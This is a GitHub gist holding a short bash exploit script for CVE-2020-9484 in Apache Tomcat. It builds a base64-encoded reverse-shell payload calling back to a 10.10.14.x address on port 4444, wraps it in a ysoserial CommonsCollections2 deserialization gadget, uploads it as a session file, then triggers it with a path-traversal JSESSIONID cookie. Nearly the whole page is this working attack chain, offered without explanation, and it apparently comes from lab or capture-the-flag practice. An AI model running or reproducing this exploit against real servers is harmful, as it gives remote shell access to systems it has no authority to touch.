Skip to content

Instantly share code, notes, and snippets.

@noobpk
Created September 15, 2020 06:25
Show Gist options
  • Select an option

  • Save noobpk/fa80a17efc7dbe62cfaf21428e26c74f to your computer and use it in GitHub Desktop.

Select an option

Save noobpk/fa80a17efc7dbe62cfaf21428e26c74f to your computer and use it in GitHub Desktop.
CVE-2020-9484-Tomcat-JsessionID-Reverse-Shell-Via-Upload-File
#!/bin/bash
#bash -i >& /dev/tcp/10.10.14.169/4444 0>&1
payload="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -jar ysoserial-master.jar CommonsCollections2 "${payload}" > noob.session
curl -F '[email protected]' http://localhost/upload.jsp?email=noob@noob
curl --cookie "JSESSIONID=../../../../../opt/samples/uploads/noob" -L http://localhost/upload.jsp?email=noob@noob
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment